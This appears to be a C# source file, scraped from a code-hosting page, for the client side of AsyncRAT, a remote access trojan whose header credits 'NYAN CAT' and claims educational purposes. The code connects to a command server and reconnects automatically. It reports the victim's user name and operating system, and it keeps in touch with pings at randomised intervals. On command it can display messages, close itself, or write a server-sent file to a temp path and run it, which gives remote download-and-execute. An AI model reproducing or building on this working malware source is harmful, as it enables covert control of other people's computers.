274 lines
8.7 KiB
C#
274 lines
8.7 KiB
C#
using AsyncRAT_Sharp.MessagePack;
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.Devices;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Net.Sockets;
|
|
using System.Text;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
|
|
// │ Author : NYAN CAT
|
|
// │ Name : AsyncRAT // Simple Socket
|
|
|
|
// Contact Me : https://github.com/NYAN-x-CAT
|
|
|
|
// This program Is distributed for educational purposes only.
|
|
|
|
|
|
namespace Client
|
|
{
|
|
class Settings
|
|
{
|
|
public static readonly string IP = "127.0.0.1";
|
|
public static readonly int Port = 8080;
|
|
public static readonly string Version = "0.2.1";
|
|
}
|
|
|
|
class Program
|
|
{
|
|
public static Socket Client { get; set; }
|
|
private static byte[] Buffer { get; set; }
|
|
private static long Buffersize { get; set; }
|
|
private static bool BufferRecevied { get; set; }
|
|
private static System.Threading.Timer Tick { get; set; }
|
|
private static MemoryStream MS { get; set; }
|
|
private static object SendSync { get; set; }
|
|
|
|
static void Main(string[] args)
|
|
{
|
|
InitializeClient();
|
|
while (true)
|
|
{
|
|
Thread.Sleep(1000);
|
|
}
|
|
}
|
|
|
|
public static void InitializeClient()
|
|
{
|
|
try
|
|
{
|
|
Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
|
{
|
|
ReceiveBufferSize = 50 * 1024,
|
|
SendBufferSize = 50 * 1024,
|
|
ReceiveTimeout = -1,
|
|
SendTimeout = -1,
|
|
};
|
|
Client.Connect(Settings.IP, Settings.Port);
|
|
Debug.WriteLine("Connected!");
|
|
Buffer = new byte[1];
|
|
Buffersize = 0;
|
|
BufferRecevied = false;
|
|
MS = new MemoryStream();
|
|
SendSync = new object();
|
|
BeginSend(SendInfo());
|
|
TimerCallback T = Ping;
|
|
Tick = new System.Threading.Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
|
|
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
|
}
|
|
catch
|
|
{
|
|
Debug.WriteLine("Disconnected!");
|
|
Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000));
|
|
Reconnect();
|
|
}
|
|
}
|
|
|
|
public static void Reconnect()
|
|
{
|
|
if (Client.Connected) return;
|
|
|
|
Tick?.Dispose();
|
|
|
|
try
|
|
{
|
|
if (Client != null)
|
|
{
|
|
Client.Close();
|
|
Client.Dispose();
|
|
}
|
|
}
|
|
catch { }
|
|
|
|
MS?.Dispose();
|
|
|
|
InitializeClient();
|
|
}
|
|
|
|
public static byte[] SendInfo()
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
|
|
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
|
|
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString();
|
|
return msgpack.Encode2Bytes();
|
|
}
|
|
|
|
public static void ReadServertData(IAsyncResult ar)
|
|
{
|
|
try
|
|
{
|
|
if (Client.Connected == false)
|
|
{
|
|
Reconnect();
|
|
return;
|
|
}
|
|
|
|
int Recevied = Client.EndReceive(ar);
|
|
|
|
if (Recevied > 0)
|
|
{
|
|
|
|
if (BufferRecevied == false)
|
|
{
|
|
if (Buffer[0] == 0)
|
|
{
|
|
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
|
MS.Dispose();
|
|
MS = new MemoryStream();
|
|
if (Buffersize > 0)
|
|
{
|
|
Buffer = new byte[Buffersize - 1];
|
|
BufferRecevied = true;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
MS.Write(Buffer, 0, Buffer.Length);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
MS.Write(Buffer, 0, Recevied);
|
|
if (MS.Length == Buffersize)
|
|
{
|
|
ThreadPool.QueueUserWorkItem(Read, MS.ToArray());
|
|
MS.Dispose();
|
|
MS = new MemoryStream();
|
|
Buffer = new byte[1];
|
|
Buffersize = 0;
|
|
BufferRecevied = false;
|
|
}
|
|
else
|
|
{
|
|
Buffer = new byte[Buffersize - MS.Length];
|
|
}
|
|
}
|
|
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
|
}
|
|
else
|
|
{
|
|
Reconnect();
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
Reconnect();
|
|
}
|
|
}
|
|
|
|
public static void Read(object Data)
|
|
{
|
|
try
|
|
{
|
|
Received();
|
|
MsgPack unpack_msgpack = new MsgPack();
|
|
unpack_msgpack.DecodeFromBytes((byte[])Data);
|
|
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
|
{
|
|
case "sendMessage":
|
|
{
|
|
MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString);
|
|
}
|
|
break;
|
|
|
|
case "Ping":
|
|
{
|
|
Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
|
|
}
|
|
break;
|
|
|
|
case "sendFile":
|
|
{
|
|
string FullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
|
|
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(FullPath);
|
|
Process.Start(FullPath);
|
|
}
|
|
break;
|
|
|
|
case "closeConnection":
|
|
{
|
|
try
|
|
{
|
|
Client.Shutdown(SocketShutdown.Both);
|
|
}
|
|
catch { }
|
|
Environment.Exit(0);
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
private static void Received()
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "Received";
|
|
BeginSend(msgpack.Encode2Bytes());
|
|
}
|
|
|
|
public static void Ping(object obj)
|
|
{
|
|
try
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
|
msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString();
|
|
BeginSend(msgpack.Encode2Bytes());
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
public static void BeginSend(byte[] Msgs)
|
|
{
|
|
lock (SendSync)
|
|
{
|
|
if (Client.Connected)
|
|
{
|
|
try
|
|
{
|
|
using (MemoryStream MS = new MemoryStream())
|
|
{
|
|
byte[] buffer = Msgs;
|
|
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
|
|
MS.Write(buffersize, 0, buffersize.Length);
|
|
MS.Write(buffer, 0, buffer.Length);
|
|
|
|
Client.Poll(-1, SelectMode.SelectWrite);
|
|
Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
Reconnect();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
public static void EndSend(IAsyncResult ar)
|
|
{
|
|
try
|
|
{
|
|
Client.EndSend(ar);
|
|
}
|
|
catch
|
|
{
|
|
Reconnect();
|
|
}
|
|
}
|
|
}
|
|
} |